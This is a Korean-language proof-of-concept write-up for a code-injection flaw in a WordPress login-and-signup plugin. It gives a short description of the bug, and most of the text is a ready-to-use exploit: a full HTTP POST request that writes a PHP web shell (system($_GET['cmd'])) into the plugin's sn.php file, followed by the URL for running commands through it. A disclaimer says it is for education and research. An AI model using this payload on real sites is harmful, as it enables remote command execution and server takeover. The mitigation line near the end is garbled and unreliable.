
WordPress Custom Login And Signup Widget 플러그인 <= 1.0은 임의 코드 실행에 취약합니다.
bitto.Kazi Custom Login And Signup Widget 플러그인에 **코드 생성을 제어하지 못하는 취약점('코드 인젝션')**이 존재합니다. 이로 인해 인증된 관리자 사용자가 임의의 PHP 코드를 실행할 수 있습니다.
이 문제는 1.0을 포함한 모든 버전에 영향을 미칩니다.
🔥 기본 점수: 9.1 (심각)
CWE ID: CWE-94 – 코드 생성 제어 미흡('코드 인젝션')
이 플러그인은 관리자가 설정 페이지의 보내는 사람 이름 필드를 통해 sn.php 파일의 내용을 수정할 수 있도록 허용합니다.
사용자가 제공한 입력은 검증이나 정화 과정 없이 PHP 파일에 직접 기록됩니다.
결과적으로 text 매개변수에 제공된 모든 PHP 코드는 PHP 파일에 저장되며, 직접 요청 시 실행되어 **원격 코드 실행(RCE)**으로 이어집니다.
/wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes
POST /wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://target.com/wp-admin/options-general.php?page=custom-login-and-signup-widget
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://target.com
Connection: keep-alive
Cookie: *<insert your admin cookie here>*
Upgrade-Insecure-Requests: 1
Priority: u=0, i
text=%3C%3Fphp+if%28isset%28%24_GET%5B%27cmd%27%5D%29%29+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&submit=Submit
textsn.php (플러그인 설정 include)<?php
global $bwbn;
if(isset($_GET['cmd'])) system($_GET['cmd']);
?>
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php
성공적인 인젝션 후, 다음 URL로 직접 접근하여 명령을 실행할 수 있습니다:
http://target.com/wp-content/plugins/custom-login-and-signup-widget/content/sn.php?cmd=id
.php 파일에 기록되지 않도록 하세요.이 프로젝트는 교육 및 연구 목적으로만 제작되었습니다.
제공된 정보의 사용은 전적으로 사용자 본인의 책임입니다.
저자는 이 콘텐츠로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.